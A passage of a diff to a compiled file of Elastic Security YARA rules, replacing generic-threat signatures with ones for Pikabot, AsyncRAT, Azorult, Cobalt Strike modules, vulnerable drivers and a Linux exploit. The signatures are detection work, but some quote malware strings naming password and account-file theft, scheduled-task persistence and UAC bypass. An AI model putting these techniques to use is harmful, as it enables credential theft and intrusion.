 }
-rule ELASTIC_Windows_Generic_Threat_D6625Ad7 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Pikabot_5441F511 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Related to Pikabot core"
 		author = "Elastic Security"
-		id = "d6625ad7-7f2c-4445-a5f2-a9444425f3a4"
-		date = "2024-01-29"
-		modified = "2024-02-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2192-L2210"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "878c9745320593573597d62c8f3adb3bef0b554cd51b18216f6d9f5d1a32a931"
-		logic_hash = "e90aff7c35f60cc3446f9eeb2131edb7125bfa04eb8f90c5671d06e9ff269755"
+		id = "5441f511-82f2-4971-b9ff-7fe739041357"
+		date = "2024-02-15"
+		modified = "2024-02-21"
+		reference = "https://www.elastic.co/security-labs/pikabot-i-choose-you"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_PikaBot.yar#L54-L78"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "fa44408874c6a007212dfc206cbecbac7a3e50df94da4ce02de2e04e9119c79f"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0e1bb99e22b53e6bb6350f95caaac592ddcad7695e72e298c7ab1d29d1dd4c1f"
-		severity = 50
+		fingerprint = "7a90c7e21ebffd6276bd53e37d4a09df29d3d1167024b96a39504518f0a38dfe"
+		threat_name = "Windows.Trojan.PikaBot"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 2E 3F 41 56 3C 6C 61 6D 62 64 61 5F 31 3E 40 3F 4C 40 3F 3F 6F 6E 5F 65 76 65 6E 74 5F 61 64 64 40 43 6F 6D 70 6F 6E 65 6E 74 5F 4B 65 79 6C 6F 67 65 72 40 40 45 41 45 58 49 40 5A 40 }
+		$handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
+		$api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
+		$debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
+		$checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
+		$load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
+		$read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Windows_Generic_Threat_61Bbb571 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Pikabot_95Db8B5A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Related to Pikabot loader"
 		author = "Elastic Security"
-		id = "61bbb571-8544-4874-9811-bd74a5e9f712"
-		date = "2024-01-29"
-		modified = "2024-02-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2212-L2230"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "41e2a6cecb1735e8f09b1ba5dccff3c08afe395b6214396e545347927d1815a8"
-		logic_hash = "6b1ec666f3689638b9db9f041b0a89660b27c32590b747c5da3f4a02f01c7112"
+		id = "95db8b5a-f97d-42bd-a114-e35e031784e2"
+		date = "2024-02-15"
+		modified = "2024-02-21"
+		reference = "https://www.elastic.co/security-labs/pikabot-i-choose-you"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_PikaBot.yar#L80-L103"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "74073ceae1b26b953b7644d56a2ec92993b83802a30ce82c6921df5448ebab06"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "be0b1be30cab0789a5df29153187cf812e53cd35dbe31f9527eca2396d7503b5"
-		severity = 50
+		fingerprint = "f9463fa18fc5975aeabf076490bd8fe79c62c822126c5320f90870a9b4032f60"
+		threat_name = "Windows.Trojan.PikaBot"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 14 8B 45 08 53 56 57 8B F9 BE 49 92 24 09 6A 1C 59 89 7D F8 2B 07 99 F7 F9 89 45 FC 8B 47 04 2B 07 99 F7 F9 89 45 F0 3B C6 0F 84 E5 00 00 00 8D 58 01 8B 47 08 2B 07 99 F7 F9 8B }
+		$syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
+		$syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
+		$load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
+		$payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
+		$loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Windows_Generic_Threat_4A605E93 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Dbatloader_F93A8E90 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Dbatloader (Windows.Trojan.DBatLoader)"
 		author = "Elastic Security"
-		id = "4a605e93-971d-4257-b382-065159840a4c"
-		date = "2024-01-29"
-		modified = "2024-02-08"
+		id = "f93a8e90-10ac-44de-ac3b-c0e976628e98"
+		date = "2022-03-11"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2232-L2250"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1a84e25505a54e8e308714b53123396df74df1bde223bb306c0dc6220c1f0bbb"
-		logic_hash = "6ad7afa5bd03916917e2bbf4d736331f4319b20bfde296d7e62315584813699f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_DBatLoader.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f72d7e445702bbf6b762ebb19d521452b9c76953d93b4d691e0e3e508790256e"
+		logic_hash = "6fe91d91bb383c66a6dc623b02817411a39b88030142517f4048c5c25fbb4ac5"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "58185f9fdf5bbc57cd708d8c963a37824e377a045549f2eb78d5fa501082b687"
-		severity = 50
+		fingerprint = "81b87663fbad9854430e5c4dcade464a15b995e645f9993a3e234593ee4df901"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 20 48 8B 19 45 33 C0 48 85 DB 74 65 4C 89 01 48 83 FA FF 75 17 41 8B C0 44 38 03 74 2D 48 8B CB 48 FF C1 FF C0 44 38 01 75 F6 EB 1E 48 83 FA FE 75 1B 41 8B C0 66 44 39 03 74 0F 48 8B }
+		$a = { FF 00 74 17 8B 45 E8 0F B6 7C 18 FF 66 03 7D EC 66 0F AF 7D F4 66 03 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_B509Dfc8 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Powerprofiler_2Eedff78 : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Name: AMDPowerProfiler.sys, Version: 6.1.0.0"
 		author = "Elastic Security"
-		id = "b509dfc8-6ec3-4315-a1ec-61e6b65793e7"
-		date = "2024-01-29"
-		modified = "2024-02-08"
+		id = "2eedff78-aa9b-4dab-b5f4-187bd2fc9a0c"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2252-L2270"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9b5124e5e1be30d3f2ad1020bbdb93e2ceeada4c4d36f71b2abbd728bd5292b8"
-		logic_hash = "90b00caf612f56a898b24c28ae6febda3fd11f382ab1deba522bdd2e2ba254b4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_PowerProfiler.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0af5ccb3d33a9ba92071c9637be6254030d61998733a5eb3583e865e17844e05"
+		logic_hash = "c4a7ae2ffdf70984cea5b543af93b202c78b6108da1e442186d24071b44d6259"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "bb1e607fe0d84f25c9bd09d31614310e204dce17c4050be6ce7dc6ed9dfd8f92"
+		tags = "FILE"
+		fingerprint = "1273f1cd2de84076be28d7fb5fdac5fc9ab0de6f4e18915bdce6333181983cfb"
+		threat_name = "Windows.VulnDriver.PowerProfiler"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 28 00 00 0A 6F 29 00 00 0A 6F 2A 00 00 0A 13 04 11 04 28 22 00 00 0A 28 2B 00 00 0A 2D 0D 11 04 28 22 00 00 0A 28 2C 00 00 0A 26 06 28 2D 00 00 0A 2C 0F 06 73 28 00 00 0A 13 05 11 05 6F 2E 00 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 41 00 4D 00 44 00 50 00 6F 00 77 00 65 00 72 00 50 00 72 00 6F 00 66 00 69 00 6C 00 65 00 72 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x06][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x05][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x06][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Generic_Threat_7A49053E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Azorult_38Fce9Ea : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Azorult (Windows.Trojan.Azorult)"
 		author = "Elastic Security"
-		id = "7a49053e-5ae4-4141-9471-4a92e0ee226e"
-		date = "2024-01-29"
-		modified = "2024-02-08"
+		id = "38fce9ea-a94e-49d3-8eef-96fe06ad27f8"
+		date = "2021-08-05"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2272-L2292"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "29fb2b18cfd72a2966640ff59e67c89f93f83fc17afad2dfcacf9f53e9ea3446"
-		logic_hash = "6db95f20a2bcdfd7cb37cb33dae6351dd19f51a8c3cae54b1bb034af17378094"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Azorult.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "405d1e6196dc5be1f46a1bd07c655d1d4b36c32f965d9a1b6d4859d3f9b84491"
+		logic_hash = "e23b21992b7ff577d4521c733929638522f4bf57b54c72e5e46196d028d6be26"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "49c41c5372da04b770d903013ee7f71193a4650340fd4245d6d5bceff674d637"
-		severity = 50
+		fingerprint = "0655018fc803469c6d89193b75b4967fd02400fae07364ffcd11d1bc6cbbe74a"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 5D 76 3F 3F 32 40 59 41 50 41 58 49 40 5A 66 }
-		$a2 = { 41 75 74 68 6F 72 69 7A 61 26 42 61 73 69 63 48 24 }
-		$a3 = { 4A 7E 4C 65 61 76 65 47 65 74 51 75 65 }
+		$a1 = "/c %WINDIR%\\system32\\timeout.exe 3 & del \"" wide fullword
+		$a2 = "%APPDATA%\\.purple\\accounts.xml" wide fullword
+		$a3 = "%TEMP%\\curbuf.dat" wide fullword
+		$a4 = "PasswordsList.txt" ascii fullword
+		$a5 = "Software\\Valve\\Steam" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Fca7F863 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Asyncrat_11A11Ba1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Asyncrat (Windows.Trojan.Asyncrat)"
 		author = "Elastic Security"
-		id = "fca7f863-8d5b-4b94-8f60-a72c76782d1d"
-		date = "2024-01-29"
-		modified = "2024-02-08"
+		id = "11a11ba1-c178-4415-9c09-45030b500f50"
+		date = "2021-08-05"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2294-L2312"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9d0e786dd8f1dc05eae910c6bcf15b5d05b4b6b0543618ca0c2ff3c4bb657af3"
-		logic_hash = "ad45fe6e8257d012824b36aaee1beccb82c1b78031de86c1f1dd26d5be88aa6f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Asyncrat.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1"
+		logic_hash = "c6c4ce9ccf01c280be6c25c0c82c34b601626bc200b84d3e77b08be473335d3d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4b391399465f18b01d7cbdf222dd7249f4fff0a5b4b931e568d92f47cc283a27"
-		severity = 50
+		fingerprint = "715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 89 E5 8D 64 24 F4 53 89 C3 6A 0C 8D 45 F4 50 6A 00 FF 53 10 50 FF 53 0C 50 FF 53 24 8B 45 F4 89 43 2C 03 40 3C 8B 40 50 89 43 34 6A 40 68 00 30 00 00 FF 73 34 6A 00 FF 13 89 43 30 8B 4B 34 }
+		$a1 = "/c schtasks /create /f /sc onlogon /rl highest /tn \"" wide fullword
+		$a2 = "Stub.exe" wide fullword
+		$a3 = "get_ActivatePong" ascii fullword
+		$a4 = "vmware" wide fullword
+		$a5 = "\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" wide fullword
+		$a6 = "get_SslClient" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Cafbd6A3 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Elrawdisk_F9Fd1A80 : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Vulndriver Elrawdisk (Windows.VulnDriver.ElRawDisk)"
 		author = "Elastic Security"
-		id = "cafbd6a3-c367-467d-b305-fb262e4d6d07"
-		date = "2024-01-29"
-		modified = "2024-02-08"
+		id = "f9fd1a80-048f-437f-badb-85d984af202d"
+		date = "2022-10-07"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2314-L2333"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "97081a51aa016d0e6c9ecadc09ff858bf43364265a006db9d7cc133f8429bc46"
-		logic_hash = "28813fc8a49b6ec3fe7675409fde923f0f30851429a526c142e0a228b4e0efa6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_ElRawDisk.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ed4f2b3db9a79535228af253959a0749b93291ad8b1058c7a41644b73035931b"
+		logic_hash = "43f9f1f6ad6c1defe2f0d6dd0cd380bea1a8ead19bc0bf203bdfe4f83b9c284d"
 		score = 75
-		quality = 71
-		tags = "FILE, MEMORY"
-		fingerprint = "d3237c30fb6eef10b89dc9138572f781cc7d9dad1524e2e27eee82c50f863fbb"
+		quality = 75
+		tags = "FILE"
+		fingerprint = "3d9dedd033cf07920eaa99b0d1fb654057def2bcef10080b45e1e8a285db8a4e"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 6C 6B 73 6A 66 68 67 6C 6B 6A 66 73 64 67 31 33 31 }
-		$a2 = { 72 65 67 20 44 65 6C 65 74 65 20 22 48 4B 4C 4D 5C 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 20 4E 54 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 52 75 6E 4F 6E 63 65 22 20 2F 66 20 3E 20 6E 75 6C }
+		$str1 = "\\elrawdsk.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Generic_Threat_D8F834A9 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2017_100011_21025F50 : FILE MEMORY CVE_2017_100011
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Exploit Cve 2017 100011 (Linux.Exploit.CVE-2017-100011)"
 		author = "Elastic Security"
-		id = "d8f834a9-41b7-4fc9-8100-87b9b07c0bc7"
-		date = "2024-01-29"
-		modified = "2024-02-08"
+		id = "21025f50-93af-4ea7-bdcb-ab4e210b8ac6"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2335-L2353"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c118c2064a5839ebd57a67a7be731fffe89669a8f17c1fe678432d4ff85e7929"
-		logic_hash = "9fa1a65f3290867e4c59f14242f7261741e792b8be48c053ac320a315f2c1beb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2017_100011.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "32db88b2c964ce48e6d1397ca655075ea54ce298340af55ea890a2411a67d554"
+		logic_hash = "3ec54a7639ccfc019e01fa287f69a93af57087e2d67d0c8574a646afb9043db5"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "fcf7fc680c762ffd9293a84c9ac2ba34b18dc928417ebdabd6dfa998f96ed1f6"
-		severity = 50
+		quality = 73
+		tags = "FILE, MEMORY, CVE-2017-100011"
+		fingerprint = "a50c81daf4f081d7ddf61d05ab64d8fada5c4d6cdf8d28eb30c689e868d905aa"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 C4 F4 53 56 57 8B F9 8B F2 8B D8 33 D2 8A 55 08 0F AF 53 30 D1 FA 79 03 83 D2 00 03 53 30 8B 43 34 E8 62 48 04 00 89 45 FC 68 20 00 CC 00 8B 45 20 50 57 56 8B 45 FC 8B 10 FF 52 20 }
+		$a = { 5D 20 64 6F 6E 65 2C 20 6B 65 72 6E 65 6C 20 74 65 78 74 3A }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_De3F91C6 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_C851687A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies UAC Bypass module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "de3f91c6-bca8-4ed6-8ba3-a53903556903"
-		date = "2024-01-31"
-		modified = "2024-02-08"
+		id = "c851687a-aac6-43e7-a0b6-6aed36dcf12e"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2355-L2373"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e2cd4a8ccbf4a3a93c1387c66d94e9506b5981357004929ce5a41fcedfffb20f"
-		logic_hash = "032ac2adb11782d823f50bfedf4e4decb731dbe7d3abbb3b05ccff598ba7edb8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L1-L37"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "7fac6fb24ac18bd69dd9f8f4090c4a77d1cc6554b6ae5c846e32d7666e5a1971"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE, MEMORY"
-		fingerprint = "bd994a85b967e56628a3fcd784e4d73cf6bd9f34a222d1bb52b1e87b775fdd06"
-		severity = 50
+		fingerprint = "70224e28a223d09f2211048936beb9e2d31c0312c97a80e22c85e445f1937c10"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 56 8B 75 08 80 7E 04 00 74 08 FF 36 E8 0B 41 00 00 59 83 26 00 C6 46 04 00 5E 5D C3 55 8B EC 8B 45 08 8B 4D 0C 3B C1 75 04 33 C0 5D C3 83 C1 05 83 C0 05 8A 10 3A 11 75 18 84 D2 74 EC }
+		$a1 = "bypassuac.dll" ascii fullword
+		$a2 = "bypassuac.x64.dll" ascii fullword
+		$a3 = "\\\\.\\pipe\\bypassuac" ascii fullword
+		$b1 = "\\System32\\sysprep\\sysprep.exe" wide fullword
+		$b2 = "[-] Could not write temp DLL to '%S'" ascii fullword
+		$b3 = "[*] Cleanup successful" ascii fullword
+		$b4 = "\\System32\\cliconfg.exe" wide fullword
+		$b5 = "\\System32\\eventvwr.exe" wide fullword
+		$b6 = "[-] %S ran too long. Could not terminate the process." ascii fullword
+		$b7 = "[*] Wrote hijack DLL to '%S'" ascii fullword
+		$b8 = "\\System32\\sysprep\\" wide fullword
+		$b9 = "[-] COM initialization failed." ascii fullword
+		$b10 = "[-] Privileged file copy failed: %S" ascii fullword
+		$b11 = "[-] Failed to start %S: %d" ascii fullword
+		$b12 = "ReflectiveLoader"
+		$b13 = "[-] '%S' exists in DLL hijack location." ascii fullword
+		$b14 = "[-] Cleanup failed. Remove: %S" ascii fullword
+		$b15 = "[+] %S ran and exited." ascii fullword
+		$b16 = "[+] Privileged file copy success! %S" ascii fullword
 
 	condition:
-		all of them
+		2 of ($a*) or 10 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_F0516E98 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Cobaltstrike_0B58325E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Keylogger module from Cobalt Strike"
 		author = "Elastic Security"
-		id = "f0516e98-57e1-4e88-b49d-afeff21f6915"
-		date = "2024-01-31"
-		modified = "2024-02-08"
+		id = "0b58325e-2538-434d-9a2c-26e2c32db039"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2375-L2394"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "21d01bd53f43aa54f22786d7776c7bc90320ec6f7a6501b168790be46ff69632"
-		logic_hash = "28f5b1a05d90745f432aee6bb9da3855d70b18d556153059794c5e53bbd5117c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_CobaltStrike.yar#L39-L77"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "3822431e946fcc38c700cc8ce213e95f33a155d7f38b6ab2a24cb998d42c8521"
 		score = 75
-		quality = 71
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "c43698c42411080f4df41f0f92948bc5d545f46a060169ee059bb47efefa978c"
-		severity = 50
+		fingerprint = "8ecd5bdce925ae5d4f90cecb9bc8c3901b54ba1c899a33354bcf529eeb2485d4"
+		threat_name = "Windows.Trojan.CobaltStrike"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 69 66 20 65 78 69 73 74 20 25 73 20 67 6F 74 6F 20 3A 72 65 70 65 61 74 }
-		$a2 = { 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 5F }
+		$a1 = "keylogger.dll" ascii fullword
